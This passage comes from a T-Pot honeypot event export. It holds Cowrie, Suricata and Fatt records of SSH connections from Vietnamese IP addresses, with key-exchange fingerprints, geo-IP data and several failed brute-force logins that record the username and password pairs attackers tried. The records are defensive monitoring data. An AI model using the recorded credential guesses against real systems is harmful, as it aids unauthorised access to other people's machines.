"2021-09-20T11:09:11.406090", "@timestamp": "2021-09-20T11:09:11.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24796	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:11.406914+03	2021-09-20 14:15:09.260471+03	{"_id": "JQblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "af178384dc34", "@version": "1", "timestamp": "2021-09-20T11:09:11.406914Z", "@timestamp": "2021-09-20T11:09:11.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24797	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:11.489422+03	2021-09-20 14:15:09.26247+03	{"_id": "JgblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz3edc] failed", "session": "390f112beb60", "@version": "1", "password": "1qaz3edc", "username": "root", "timestamp": "2021-09-20T11:09:11.489422Z", "@timestamp": "2021-09-20T11:09:11.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24798	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:11.590051+03	2021-09-20 14:15:09.263471+03	{"_id": "JwblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3794bec75424", "@version": "1", "timestamp": "2021-09-20T11:09:11.590051Z", "@timestamp": "2021-09-20T11:09:11.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24799	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:12.021323+03	2021-09-20 14:15:09.265471+03	{"_id": "KAblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [downloads/downloads] failed", "session": "d8d79dcc0b71", "@version": "1", "password": "downloads", "username": "downloads", "timestamp": "2021-09-20T11:09:12.021323Z", "@timestamp": "2021-09-20T11:09:12.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24802	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:12.301574+03	2021-09-20 14:15:09.269471+03	{"_id": "KwblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f08e090600e3", "@version": "1", "duration": 3.0618817806243896, "timestamp": "2021-09-20T11:09:12.301574Z", "@timestamp": "2021-09-20T11:09:12.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24803	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:12.387601+03	2021-09-20 14:15:09.270471+03	{"_id": "LAblAnwBvYTbRNuESBYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1948757320504803, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50424, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.387601Z", "@timestamp": "2021-09-20T11:09:12.387Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24804	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:12.682002+03	2021-09-20 14:15:09.271471+03	{"_id": "LQblAnwBvYTbRNuESBYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2022703772530194, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53306, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.682002Z", "@timestamp": "2021-09-20T11:09:12.682Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24805	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:12.38777+03	2021-09-20 14:15:09.273471+03	{"_id": "LwblAnwBvYTbRNuESRYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50424, "timestamp": "2021-09-20T11:09:12.387770", "@timestamp": "2021-09-20T11:09:12.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24806	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:13.727943+03	2021-09-20 14:15:09.274471+03	{"_id": "SQblAnwBvYTbRNuETBYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1280176941534635, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39590, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.727943Z", "@timestamp": "2021-09-20T11:09:13.727Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24807	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:13.767188+03	2021-09-20 14:15:09.276473+03	{"_id": "TAblAnwBvYTbRNuETRYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39590, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.767188", "@timestamp": "2021-09-20T11:09:13.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24808	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:09.517201+03	2021-09-20 14:15:09.277471+03	{"_id": "5QblAnwBvYTbRNuEPBVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1076075800343213, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38238, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.517201Z", "@timestamp": "2021-09-20T11:09:09.517Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24809	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:09.523163+03	2021-09-20 14:15:09.279472+03	{"_id": "6QblAnwBvYTbRNuEPRVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 